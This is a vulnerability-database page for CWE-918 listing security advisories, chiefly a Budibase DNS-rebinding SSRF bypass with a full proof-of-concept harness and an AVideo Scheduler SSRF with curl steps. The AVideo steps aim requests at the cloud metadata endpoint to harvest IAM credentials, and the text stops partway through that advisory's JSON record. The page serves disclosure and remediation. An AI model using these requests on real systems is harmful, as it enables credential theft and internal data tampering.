GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration
Common Weakness Enumeration

CWE-918

Allowed

Server-Side Request Forgery (SSRF)

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

5589 vulnerabilities reference this CWE, most recent first.

GHSA-V42F-V8XC-J435

Vulnerability from github – Published: 2026-07-24 21:44 – Updated: 2026-08-12 19:22
VLAI
Summary
Budibase: SSRF via DNS rebinding in the REST datasource integration
Details

Summary

Budibase's central outbound-fetch guard (fetchWithBlacklist) prevents SSRF/DNS-rebinding by resolving the target hostname, checking every resolved IP against the blacklist, and pinning the connection to the validated IP. The pin is implemented as a Node http(s).Agent (makePinnedAgent). The fix for CVE-2026-54353 relies on this pin to stop DNS rebinding.

The REST datasource integration (@budibase/server) calls fetchWithBlacklist but performs the actual request with undici's fetch. undici does not support the Node agent option — it is silently ignored — and instead uses its own dispatcher, which re-resolves the hostname's DNS at connection time. As a result, the validated/pinned IP is never used on the REST datasource path, and the DNS-rebinding protection that CVE-2026-54353 added is silently defeated for the single most-used outbound path in Budibase.

An authenticated user who can configure/run a REST datasource (e.g. a builder/tenant) can use a rebinding hostname (public IP during validation, internal IP at connect) to make the server issue arbitrary, full-response HTTP requests to internal-only services — cloud metadata (IAM credential theft), the internal CouchDB/Redis/MinIO, and other internal endpoints — reading and, because REST datasources allow arbitrary method/body, writing or destroying internal data.

Details

The guard pins the validated IP via a Node agent — packages/backend-core/src/utils/outboundFetch.ts:

  • resolveSafePinnedIp(url) resolves the hostname and checks every address against isBlacklisted, returning a single pinnedIp (lines ~39–53).
  • makePinnedAgent(url, ip) builds a Node http.Agent/https.Agent whose lookup always returns pinnedIp, so a node-fetch connection can only reach the validated IP (lines ~55–68).
  • fetchWithBlacklist passes that agent into the request: fetchFn(nextUrl, { ...nextRequest, agent: makePinnedAgent(nextUrl, pinnedIp) }) (lines ~186–192). Each redirect hop is re-validated and re-pinned in the loop.

The REST integration overrides the transport with undici, which ignores agent — packages/server/src/integrations/rest.ts:

  • fetch is imported from undici (top-of-file import block, ~line 30).
  • The request is made by overriding fetchFn (lines ~767–793): ts const setDispatcher = (requestInput, requestUrl) => ({ ...requestInput, dispatcher: getDispatcher({ rejectUnauthorized, url: requestUrl }), }) ... response = await coreUtils.fetchWithBlacklist(url, input, { fetchFn: async (requestUrl, requestInput) => fetch(requestUrl, setDispatcher(requestInput, requestUrl)), // undici.fetch }) The options object reaching undici.fetch is { ...nextRequest, agent: <pinned Node Agent>, dispatcher: <getDispatcher result> }. undici uses dispatcher and ignores agent.

The dispatcher does no IP pinning — packages/backend-core/src/utils/fetch.ts:

  • getDispatcher → createDispatcher → (no proxy env) → createDirectAgent = new Agent({ connect: { rejectUnauthorized } }) (lines ~109–114, ~161–172, ~183). This is a plain undici Agent with no connect.lookup / no pin, so undici resolves the hostname's DNS itself at connect time.

Net effect (TOCTOU / DNS rebinding): fetchWithBlacklist validates the hostname → safe public IP and builds a pinned Node agent; the REST path then connects via undici, which re-resolves the same hostname independently. With a rebinding domain (TTL 0: public IP during validation, 127.0.0.1 / 169.254.169.254 / internal IP at connect), the request lands on an internal service — exactly the gap CVE-2026-54353's pin was meant to close.

Scope of impact / why it's REST-specific: rest.ts is the only caller that overrides fetchFn with undici. All other outbound sinks (automation outgoingWebhook/n8n/make/zapier/discord/slack, and AI-extract's processUrlFile) use the default node-fetch-based fetchWithBlacklist, which does honor the pinned agent and is not affected. REST datasource queries are the most common outbound path, and the response body is returned to the caller (full-response SSRF, not blind).

PoC

The PoC drives the real, unmodified guard code (outboundFetch.ts + fetch.ts, copied verbatim — sha256 verified) and reproduces the exact rest.ts call pattern. Only the ../blacklist module is stubbed to model the rebinding input (validation observes a safe public IP). Requires Node 18+.

# prerequisite: a Budibase checkout; set BB to its path
export BB=/path/to/budibase
mkdir ssrf-poc && cd ssrf-poc
SRC="$BB/packages/backend-core/src"

# 1) Copy the REAL guard code, verbatim (sha proves no edits)
mkdir -p real/utils real/blacklist
cp "$SRC/utils/outboundFetch.ts" real/utils/
cp "$SRC/utils/fetch.ts"         real/utils/

# 2) Scenario stub = the rebinding INPUT: validation sees a safe, non-blacklisted public IP
cat > real/blacklist/index.ts <<'EOF'
const SAFE = "203.0.113.10" // RFC5737 TEST-NET-3, not blacklisted -> validation passes
export async function resolveAddress(_a: string): Promise<string[]> { return [SAFE] }
export async function isBlacklisted(a: string): Promise<boolean> { return a !== SAFE }
EOF

# 3) Harness = REAL fetchWithBlacklist + REAL getDispatcher, exact rest.ts pattern
cat > entry.ts <<'EOF'
import http from "http"
import { fetch as undiciFetch } from "undici"
import { fetchWithBlacklist } from "./real/utils/outboundFetch" // REAL guard
import { getDispatcher } from "./real/utils/fetch"              // REAL dispatcher
async function main() {
  const server = http.createServer((_q, r) => r.end("INTERNAL_SECRET_RESPONSE"))
  await new Promise<void>(r => server.listen(0, "127.0.0.1", r))
  const port = (server.address() as any).port
  const target = `http://localhost:${port}/` // OS resolves localhost -> 127.0.0.1 at connect
  console.log(`[*] internal service 127.0.0.1:${port}; guard validates host -> 203.0.113.10 (safe), pins to it`)

  // (A) REST datasource path: undici fetch + real getDispatcher (exactly rest.ts).
  const restFetchFn = (u: string, i: any) =>
    undiciFetch(u, { ...i, dispatcher: getDispatcher({ url: u, rejectUnauthorized: true }) as any }) as any
  let A: string
  try { const r: any = await fetchWithBlacklist(target, { method: "GET" } as any, { fetchFn: restFetchFn }); A = `status ${r.status} body=${await r.text()}` }
  catch (e: any) { A = `ERROR ${e.message}` }
  console.log("(A) REST/undici path  ->", A)

  // (B) Negative control: default fetchFn (node-fetch) honors the pinned agent.
  let B: string
  try { const r: any = await fetchWithBlacklist(target, { method: "GET", timeout: 3000 } as any); B = `status ${r.status} body=${await r.text()}` }
  catch (e: any) { B = `ERROR ${e.message}` }
  console.log("(B) node-fetch path   ->", B)

  const bypass = A.includes("INTERNAL_SECRET_RESPONSE"), contained = !B.includes("INTERNAL_SECRET_RESPONSE")
  console.log(`\nRESULT: ${bypass && contained ? "PASS - undici path BYPASSES guard, node-fetch path CONTAINED" : "FAIL"}`)
  server.close(); process.exit(bypass && contained ? 0 : 1)
}
main()
EOF

# 4) Deps, bundle, run
npm init -y >/dev/null 2>&1
npm install undici@6 node-fetch@2 esbuild
npx esbuild entry.ts --bundle --platform=node --format=cjs --outfile=entry.cjs
node entry.cjs

Expected output (the port is the only variable):

[*] internal service 127.0.0.1:<random>; guard validates host -> 203.0.113.10 (safe), pins to it
(A) REST/undici path  -> status 200 body=INTERNAL_SECRET_RESPONSE
(B) node-fetch path   -> ERROR Failed to connect to resolved IP for localhost: network timeout at: http://localhost:<random>/

RESULT: PASS - undici path BYPASSES guard, node-fetch path CONTAINED

How to read it: - (A) the real fetchWithBlacklist validated and pinned the safe public IP 203.0.113.10, yet the undici REST transport re-resolved localhost and reached 127.0.0.1 — the internal service responded → SSRF bypass. - (B) the default node-fetch path honored the pin (forced to the unroutable 203.0.113.10) and never reached the internal service. The "Failed to connect to resolved IP for localhost" string is emitted by the real outboundFetch.ts, proving the pin works there. This is the negative control localizing the bug to the undici transport.

Real-world variant: instead of localhost, an attacker uses a domain they control with a 0-second TTL that returns a public IP during the guard's validation lookup and an internal IP (169.254.169.254, 127.0.0.1, internal CouchDB/Redis) at undici's connect-time lookup; the REST datasource query then returns the internal response body to the attacker.

Impact

Type: Server-Side Request Forgery via DNS rebinding (CWE-918 + CWE-367), full-response and with arbitrary HTTP method/body (REST datasources let the caller choose method, headers, and body).

Who is impacted: Any Budibase deployment on an affected version, especially multi-tenant / Budibase-Cloud-style hosting where builders/tenants are not trusted with host-internal access. The SSRF blacklist is the control that contains those users; this bypass defeats it.

Realistic worst case: An authenticated builder/tenant points a REST datasource at a rebinding host and makes the server: - read cloud metadata (http://169.254.169.254/...) → steal IAM credentials → cloud account compromise; - read the internal CouchDB (http://127.0.0.1:5984/_all_dbs, _users) → all tenants' apps, users, and secrets; - using PUT/POST/DELETE against unauthenticated localhost services → create admin documents, modify or delete tenant databases / flush caches → integrity and availability loss for all co-tenants.

CVSS 3.1 Vector Justification

Metric Value Why
Attack Vector (AV) Network (N) Triggered through Budibase's HTTP API / app (a REST datasource query).
Attack Complexity (AC) High (H) Requires DNS rebinding — the validation-time IP must differ from the connect-time IP (TOCTOU). A direct internal request without rebinding is blocked by the blacklist, so the race is mandatory.
Privileges Required (PR) Low (L) Requires an authenticated account that can configure/run a REST datasource (builder/tenant).
User Interaction (UI) None (N) The attacker configures and triggers the request; no victim interaction.
Scope (S) Changed (C) Canonical SSRF: the vulnerable component is abused to reach resources in other security authorities (cloud metadata, internal CouchDB/Redis/MinIO).
Confidentiality (C) High (H) Full-response SSRF: read cloud IAM credentials and the internal CouchDB (every tenant's apps, users, secrets).
Integrity (I) High (H) Arbitrary method/body allows PUT/POST/DELETE to unauthenticated localhost services (CouchDB :5984) → create admin docs, modify tenant data.
Availability (A) High (H) The same write primitive can DELETE databases / flush Redis → full data/service loss for all tenants.

Notes: AC:H is the standard, defensible scoring for DNS rebinding; if rebinding is treated as reliable (TTL-0 frameworks), AC:L yields CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H. A conservative read-only interpretation is I:N/A:N.

Suggested remediation

Make the transport that actually performs the request honor the validated IP. In getDispatcher/rest.ts, construct the undici Agent with a connect: { lookup } (or custom connect) that returns only the pinnedIp resolved by fetchWithBlacklist (i.e., mirror makePinnedAgent for undici), so the dispatcher cannot re-resolve DNS; alternatively, re-check the resolved peer IP against isBlacklisted inside the undici connect callback. The Node-agent pin must not be relied upon when the request is issued through undici.

Severity
8.5 (High)
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@budibase/server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "3.38.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-73410"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-367",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-24T21:44:27Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nBudibase\u0027s central outbound-fetch guard (`fetchWithBlacklist`) prevents SSRF/DNS-rebinding by resolving the target hostname, checking every resolved IP against the blacklist, and **pinning** the connection to the validated IP. The pin is implemented as a Node `http(s).Agent` (`makePinnedAgent`). The fix for CVE-2026-54353 relies on this pin to stop DNS rebinding.\n\nThe REST datasource integration (`@budibase/server`) calls `fetchWithBlacklist` but performs the actual request with **undici**\u0027s `fetch`. undici does not support the Node `agent` option \u2014 it is silently ignored \u2014 and instead uses its own `dispatcher`, which re-resolves the hostname\u0027s DNS at connection time. As a result, **the validated/pinned IP is never used on the REST datasource path**, and the DNS-rebinding protection that CVE-2026-54353 added is silently defeated for the single most-used outbound path in Budibase.\n\nAn authenticated user who can configure/run a REST datasource (e.g. a builder/tenant) can use a rebinding hostname (public IP during validation, internal IP at connect) to make the server issue arbitrary, full-response HTTP requests to internal-only services \u2014 cloud metadata (IAM credential theft), the internal CouchDB/Redis/MinIO, and other internal endpoints \u2014 reading and, because REST datasources allow arbitrary method/body, writing or destroying internal data.\n\n\n### Details\n**The guard pins the validated IP via a Node agent** \u2014 `packages/backend-core/src/utils/outboundFetch.ts`:\n\n- `resolveSafePinnedIp(url)` resolves the hostname and checks every address against `isBlacklisted`, returning a single `pinnedIp` (lines ~39\u201353).\n- `makePinnedAgent(url, ip)` builds a **Node** `http.Agent`/`https.Agent` whose `lookup` always returns `pinnedIp`, so a node-fetch connection can only reach the validated IP (lines ~55\u201368).\n- `fetchWithBlacklist` passes that agent into the request: `fetchFn(nextUrl, { ...nextRequest, agent: makePinnedAgent(nextUrl, pinnedIp) })` (lines ~186\u2013192). Each redirect hop is re-validated and re-pinned in the loop.\n\n**The REST integration overrides the transport with undici, which ignores `agent`** \u2014 `packages/server/src/integrations/rest.ts`:\n\n- `fetch` is imported from **`undici`** (top-of-file import block, ~line 30).\n- The request is made by overriding `fetchFn` (lines ~767\u2013793):\n  ```ts\n  const setDispatcher = (requestInput, requestUrl) =\u003e ({\n    ...requestInput,\n    dispatcher: getDispatcher({ rejectUnauthorized, url: requestUrl }),\n  })\n  ...\n  response = await coreUtils.fetchWithBlacklist(url, input, {\n    fetchFn: async (requestUrl, requestInput) =\u003e\n      fetch(requestUrl, setDispatcher(requestInput, requestUrl)), // undici.fetch\n  })\n  ```\n  The options object reaching `undici.fetch` is `{ ...nextRequest, agent: \u003cpinned Node Agent\u003e, dispatcher: \u003cgetDispatcher result\u003e }`. **undici uses `dispatcher` and ignores `agent`.**\n\n**The dispatcher does no IP pinning** \u2014 `packages/backend-core/src/utils/fetch.ts`:\n\n- `getDispatcher` \u2192 `createDispatcher` \u2192 (no proxy env) \u2192 `createDirectAgent` = `new Agent({ connect: { rejectUnauthorized } })` (lines ~109\u2013114, ~161\u2013172, ~183). This is a plain undici `Agent` with **no `connect.lookup` / no pin**, so undici resolves the hostname\u0027s DNS itself at connect time.\n\n**Net effect (TOCTOU / DNS rebinding):** `fetchWithBlacklist` validates the hostname \u2192 safe public IP and builds a pinned Node agent; the REST path then connects via undici, which re-resolves the same hostname independently. With a rebinding domain (TTL 0: public IP during validation, `127.0.0.1` / `169.254.169.254` / internal IP at connect), the request lands on an internal service \u2014 exactly the gap CVE-2026-54353\u0027s pin was meant to close.\n\n**Scope of impact / why it\u0027s REST-specific:** `rest.ts` is the only caller that overrides `fetchFn` with undici. All other outbound sinks (automation `outgoingWebhook`/`n8n`/`make`/`zapier`/`discord`/`slack`, and AI-extract\u0027s `processUrlFile`) use the default node-fetch-based `fetchWithBlacklist`, which **does** honor the pinned agent and is **not** affected. REST datasource queries are the most common outbound path, and the response body is returned to the caller (full-response SSRF, not blind).\n\n### PoC\nThe PoC drives the **real, unmodified** guard code (`outboundFetch.ts` + `fetch.ts`, copied verbatim \u2014 sha256 verified) and reproduces the exact `rest.ts` call pattern. Only the `../blacklist` module is stubbed to model the rebinding **input** (validation observes a safe public IP). Requires Node 18+.\n\n```bash\n# prerequisite: a Budibase checkout; set BB to its path\nexport BB=/path/to/budibase\nmkdir ssrf-poc \u0026\u0026 cd ssrf-poc\nSRC=\"$BB/packages/backend-core/src\"\n\n# 1) Copy the REAL guard code, verbatim (sha proves no edits)\nmkdir -p real/utils real/blacklist\ncp \"$SRC/utils/outboundFetch.ts\" real/utils/\ncp \"$SRC/utils/fetch.ts\"         real/utils/\n\n# 2) Scenario stub = the rebinding INPUT: validation sees a safe, non-blacklisted public IP\ncat \u003e real/blacklist/index.ts \u003c\u003c\u0027EOF\u0027\nconst SAFE = \"203.0.113.10\" // RFC5737 TEST-NET-3, not blacklisted -\u003e validation passes\nexport async function resolveAddress(_a: string): Promise\u003cstring[]\u003e { return [SAFE] }\nexport async function isBlacklisted(a: string): Promise\u003cboolean\u003e { return a !== SAFE }\nEOF\n\n# 3) Harness = REAL fetchWithBlacklist + REAL getDispatcher, exact rest.ts pattern\ncat \u003e entry.ts \u003c\u003c\u0027EOF\u0027\nimport http from \"http\"\nimport { fetch as undiciFetch } from \"undici\"\nimport { fetchWithBlacklist } from \"./real/utils/outboundFetch\" // REAL guard\nimport { getDispatcher } from \"./real/utils/fetch\"              // REAL dispatcher\nasync function main() {\n  const server = http.createServer((_q, r) =\u003e r.end(\"INTERNAL_SECRET_RESPONSE\"))\n  await new Promise\u003cvoid\u003e(r =\u003e server.listen(0, \"127.0.0.1\", r))\n  const port = (server.address() as any).port\n  const target = `http://localhost:${port}/` // OS resolves localhost -\u003e 127.0.0.1 at connect\n  console.log(`[*] internal service 127.0.0.1:${port}; guard validates host -\u003e 203.0.113.10 (safe), pins to it`)\n\n  // (A) REST datasource path: undici fetch + real getDispatcher (exactly rest.ts).\n  const restFetchFn = (u: string, i: any) =\u003e\n    undiciFetch(u, { ...i, dispatcher: getDispatcher({ url: u, rejectUnauthorized: true }) as any }) as any\n  let A: string\n  try { const r: any = await fetchWithBlacklist(target, { method: \"GET\" } as any, { fetchFn: restFetchFn }); A = `status ${r.status} body=${await r.text()}` }\n  catch (e: any) { A = `ERROR ${e.message}` }\n  console.log(\"(A) REST/undici path  -\u003e\", A)\n\n  // (B) Negative control: default fetchFn (node-fetch) honors the pinned agent.\n  let B: string\n  try { const r: any = await fetchWithBlacklist(target, { method: \"GET\", timeout: 3000 } as any); B = `status ${r.status} body=${await r.text()}` }\n  catch (e: any) { B = `ERROR ${e.message}` }\n  console.log(\"(B) node-fetch path   -\u003e\", B)\n\n  const bypass = A.includes(\"INTERNAL_SECRET_RESPONSE\"), contained = !B.includes(\"INTERNAL_SECRET_RESPONSE\")\n  console.log(`\\nRESULT: ${bypass \u0026\u0026 contained ? \"PASS - undici path BYPASSES guard, node-fetch path CONTAINED\" : \"FAIL\"}`)\n  server.close(); process.exit(bypass \u0026\u0026 contained ? 0 : 1)\n}\nmain()\nEOF\n\n# 4) Deps, bundle, run\nnpm init -y \u003e/dev/null 2\u003e\u00261\nnpm install undici@6 node-fetch@2 esbuild\nnpx esbuild entry.ts --bundle --platform=node --format=cjs --outfile=entry.cjs\nnode entry.cjs\n```\n\n**Expected output** (the port is the only variable):\n\n```\n[*] internal service 127.0.0.1:\u003crandom\u003e; guard validates host -\u003e 203.0.113.10 (safe), pins to it\n(A) REST/undici path  -\u003e status 200 body=INTERNAL_SECRET_RESPONSE\n(B) node-fetch path   -\u003e ERROR Failed to connect to resolved IP for localhost: network timeout at: http://localhost:\u003crandom\u003e/\n\nRESULT: PASS - undici path BYPASSES guard, node-fetch path CONTAINED\n```\n\n**How to read it:**\n- **(A)** the real `fetchWithBlacklist` validated and pinned the safe public IP `203.0.113.10`, yet the undici REST transport re-resolved `localhost` and reached `127.0.0.1` \u2014 the internal service responded \u2192 **SSRF bypass**.\n- **(B)** the default node-fetch path honored the pin (forced to the unroutable `203.0.113.10`) and never reached the internal service. The `\"Failed to connect to resolved IP for localhost\"` string is emitted by the real `outboundFetch.ts`, proving the pin works there. This is the negative control localizing the bug to the undici transport.\n\n**Real-world variant:** instead of `localhost`, an attacker uses a domain they control with a 0-second TTL that returns a public IP during the guard\u0027s validation lookup and an internal IP (`169.254.169.254`, `127.0.0.1`, internal CouchDB/Redis) at undici\u0027s connect-time lookup; the REST datasource query then returns the internal response body to the attacker.\n\n### Impact\n**Type:** Server-Side Request Forgery via DNS rebinding (CWE-918 + CWE-367), full-response and with arbitrary HTTP method/body (REST datasources let the caller choose method, headers, and body).\n\n**Who is impacted:** Any Budibase deployment on an affected version, especially multi-tenant / Budibase-Cloud-style hosting where builders/tenants are not trusted with host-internal access. The SSRF blacklist is the control that contains those users; this bypass defeats it.\n\n**Realistic worst case:** An authenticated builder/tenant points a REST datasource at a rebinding host and makes the server:\n- read cloud metadata (`http://169.254.169.254/...`) \u2192 steal IAM credentials \u2192 **cloud account compromise**;\n- read the internal CouchDB (`http://127.0.0.1:5984/_all_dbs`, `_users`) \u2192 **all tenants\u0027 apps, users, and secrets**;\n- using `PUT`/`POST`/`DELETE` against unauthenticated localhost services \u2192 create admin documents, modify or **delete** tenant databases / flush caches \u2192 integrity and availability loss for all co-tenants.\n\n### CVSS 3.1 Vector Justification\n\n| Metric | Value | Why |\n|---|---|---|\n| Attack Vector (AV) | Network (N) | Triggered through Budibase\u0027s HTTP API / app (a REST datasource query). |\n| Attack Complexity (AC) | High (H) | Requires DNS rebinding \u2014 the validation-time IP must differ from the connect-time IP (TOCTOU). A direct internal request without rebinding is blocked by the blacklist, so the race is mandatory. |\n| Privileges Required (PR) | Low (L) | Requires an authenticated account that can configure/run a REST datasource (builder/tenant). |\n| User Interaction (UI) | None (N) | The attacker configures and triggers the request; no victim interaction. |\n| Scope (S) | Changed (C) | Canonical SSRF: the vulnerable component is abused to reach resources in other security authorities (cloud metadata, internal CouchDB/Redis/MinIO). |\n| Confidentiality (C) | High (H) | Full-response SSRF: read cloud IAM credentials and the internal CouchDB (every tenant\u0027s apps, users, secrets). |\n| Integrity (I) | High (H) | Arbitrary method/body allows `PUT`/`POST`/`DELETE` to unauthenticated localhost services (CouchDB `:5984`) \u2192 create admin docs, modify tenant data. |\n| Availability (A) | High (H) | The same write primitive can `DELETE` databases / flush Redis \u2192 full data/service loss for all tenants. |\n\n**Notes:** AC:H is the standard, defensible scoring for DNS rebinding; if rebinding is treated as reliable (TTL-0 frameworks), `AC:L` yields `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H`. A conservative read-only interpretation  is `I:N/A:N`.\n\n### Suggested remediation\n\nMake the transport that actually performs the request honor the validated IP. In `getDispatcher`/`rest.ts`, construct the undici `Agent` with a `connect: { lookup }` (or custom `connect`) that returns **only** the `pinnedIp` resolved by `fetchWithBlacklist` (i.e., mirror `makePinnedAgent` for undici), so the dispatcher cannot re-resolve DNS; alternatively, re-check the resolved peer IP against `isBlacklisted` inside the undici `connect` callback. The Node-`agent` pin must not be relied upon when the request is issued through undici.",
  "id": "GHSA-v42f-v8xc-j435",
  "modified": "2026-08-12T19:22:50Z",
  "published": "2026-07-24T21:44:27Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Budibase/budibase/security/advisories/GHSA-v42f-v8xc-j435"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Budibase/budibase/pull/19178"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Budibase/budibase/commit/1fecb3fc3497e8db7b60b42cc514ce304ffe3a41"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Budibase/budibase/commit/5758bdb242802ca20c4ed0dc579e4330ee898ef3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Budibase/budibase/commit/586802b5706367520d14245e18a7d0cabab0be11"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Budibase/budibase"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Budibase/budibase/releases/tag/3.39.30"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Budibase: SSRF via DNS rebinding in the REST datasource integration"
}

GHSA-V44Q-7W5X-W6HW

Vulnerability from github – Published: 2022-05-24 19:18 – Updated: 2022-05-24 19:18
VLAI
Details

An SSRF issue was discovered in Zoho ManageEngine Applications Manager build 15200.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-35512"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-10-21T12:15:00Z",
    "severity": "MODERATE"
  },
  "details": "An SSRF issue was discovered in Zoho ManageEngine Applications Manager build 15200.",
  "id": "GHSA-v44q-7w5x-w6hw",
  "modified": "2022-05-24T19:18:27Z",
  "published": "2022-05-24T19:18:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-35512"
    },
    {
      "type": "WEB",
      "url": "https://www.esecforte.com/server-side-request-forgery-india-ssrf-rvd-manage-engine"
    },
    {
      "type": "WEB",
      "url": "https://www.manageengine.com/products/applications_manager"
    },
    {
      "type": "WEB",
      "url": "https://www.manageengine.com/products/applications_manager/release-notes.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-V467-G7G7-HHFH

Vulnerability from github – Published: 2026-03-19 12:43 – Updated: 2026-04-13 17:40
VLAI
Summary
AVideo has SSRF in Scheduler Plugin via callbackURL Missing `isSSRFSafeURL()` Validation
Details

Summary

The Scheduler plugin's run() function in plugin/Scheduler/Scheduler.php calls url_get_contents() with an admin-configurable callbackURL that is validated only by isValidURL() (URL format check). Unlike other AVideo endpoints that were recently patched for SSRF (GHSA-9x67-f2v7-63rw, GHSA-h39h-7cvg-q7j6), the Scheduler's callback URL is never passed through isSSRFSafeURL(), which blocks requests to RFC-1918 private addresses, loopback, and cloud metadata endpoints. An admin can configure a scheduled task with an internal network callbackURL to perform SSRF against cloud infrastructure metadata services or internal APIs not otherwise reachable from the internet.

Details

The vulnerable code is at plugin/Scheduler/Scheduler.php:157-166:

// Line 157: callback URL retrieved and site-root token substituted
$callBackURL = $e->getCallbackURL();
$callBackURL = str_replace('$SITE_ROOT_TOKEN', $global['webSiteRootURL'], $callBackURL);
if (!isValidURL($callBackURL)) {
    return false;
}
// isValidURL() only checks URL format via filter_var(..., FILTER_VALIDATE_URL)
// The critical missing check is:
// if (!isSSRFSafeURL($callBackURL)) { return false; }
if (empty($_executeSchelude[$callBackURL])) {
    $_executeSchelude[$callBackURL] = url_get_contents($callBackURL, '', 30);

isValidURL() in objects/functions.php uses filter_var($url, FILTER_VALIDATE_URL) — it validates URL syntax only and does not block internal/private network targets.

isSSRFSafeURL() in objects/functions.php:4021 explicitly blocks: - 127.x.x.x / ::1 (loopback) - 10.x.x.x, 172.16-31.x.x, 192.168.x.x (RFC-1918 private) - 169.254.x.x (link-local, including AWS/GCP metadata at 169.254.169.254) - IPv6 private ranges

This function was added to the LiveLinks proxy (GHSA-9x67-f2v7-63rw fix, commit 0e5638292) and was previously used in the aVideoEncoder download flow (GHSA-h39h-7cvg-q7j6), but the Scheduler plugin was not updated in either fix wave, leaving it as an incomplete patch.

An admin can configure the callbackURL for a scheduled task via the Scheduler plugin UI and trigger execution immediately via the "Run now" interface.

PoC

# Step 1: Authenticate as admin

# Step 2: Create a scheduled task with cloud metadata SSRF callback
curl -b "admin_session=<session>" -X POST \
  https://target.avideo.site/plugin/Scheduler/View/Scheduler_commands/add.json.php \
  -d "callbackURL=http://169.254.169.254/latest/meta-data/iam/security-credentials/&status=a&type=&date_to_execute=2026-03-18+12:00:00"

# Step 3: Trigger immediate execution via Scheduler run endpoint
curl -b "admin_session=<session>" \
  https://target.avideo.site/plugin/Scheduler/run.php

# Step 4: Read the scheduler execution logs
curl -b "admin_session=<session>" \
  https://target.avideo.site/plugin/Scheduler/View/Scheduler_commands/get.json.php
# Response includes the AWS metadata API response with IAM role credentials

Expected: Internal network addresses rejected before HTTP request is made. Actual: The server makes an HTTP request to http://169.254.169.254/latest/meta-data/iam/security-credentials/ and the response (including AWS IAM role credentials) is stored in the scheduler execution log.

Impact

  • Cloud credential theft: On AWS, GCP, or Azure deployments, the attacker can retrieve IAM instance role credentials from the cloud metadata service (169.254.169.254), potentially enabling privilege escalation within the cloud environment.
  • Internal service probing: The attacker can make the server issue requests to internal APIs, microservices, or databases with HTTP interfaces not exposed to the internet.
  • Incomplete patch amplification: The fix for GHSA-9x67-f2v7-63rw and GHSA-h39h-7cvg-q7j6 added isSSRFSafeURL() to specific call sites but not the Scheduler. Deployments that updated expecting comprehensive SSRF protection remain vulnerable via this path.
  • Blast radius: Requires admin access. Impact is significant in cloud-hosted deployments where instance metadata credentials unlock broader infrastructure access.

Recommended Fix

Add isSSRFSafeURL() validation to the Scheduler callback URL before url_get_contents() is called, consistent with the existing SSRF fixes in plugin/LiveLinks/proxy.php and objects/aVideoEncoder.json.php:

$callBackURL = $e->getCallbackURL();
if (!isValidURL($callBackURL)) {
    return false;
}
// Add this SSRF check — same pattern as LiveLinks proxy fix (GHSA-9x67-f2v7-63rw):
if (!isSSRFSafeURL($callBackURL)) {
    _error_log("Scheduler::run SSRF protection blocked callbackURL: " . $callBackURL);
    return false;
}
if (empty($_executeSchelude[$callBackURL])) {
    $_executeSchelude[$callBackURL] = url_get_contents($callBackURL, '', 30);
Severity
5.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 25.0"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "wwbn/avideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "26.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33237"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-19T12:43:23Z",
    "nvd_published_at": "2026-03-21T00:16:26Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe Scheduler plugin\u0027s `run()` function in `plugin/Scheduler/Scheduler.php` calls `url_get_contents()` with an admin-configurable `callbackURL` that is validated only by `isValidURL()` (URL format check). Unlike other AVideo endpoints that were recently patched for SSRF (GHSA-9x67-f2v7-63rw, GHSA-h39h-7cvg-q7j6), the Scheduler\u0027s callback URL is never passed through `isSSRFSafeURL()`, which blocks requests to RFC-1918 private addresses, loopback, and cloud metadata endpoints. An admin can configure a scheduled task with an internal network `callbackURL` to perform SSRF against cloud infrastructure metadata services or internal APIs not otherwise reachable from the internet.\n\n## Details\n\nThe vulnerable code is at `plugin/Scheduler/Scheduler.php:157-166`:\n\n```php\n// Line 157: callback URL retrieved and site-root token substituted\n$callBackURL = $e-\u003egetCallbackURL();\n$callBackURL = str_replace(\u0027$SITE_ROOT_TOKEN\u0027, $global[\u0027webSiteRootURL\u0027], $callBackURL);\nif (!isValidURL($callBackURL)) {\n    return false;\n}\n// isValidURL() only checks URL format via filter_var(..., FILTER_VALIDATE_URL)\n// The critical missing check is:\n// if (!isSSRFSafeURL($callBackURL)) { return false; }\nif 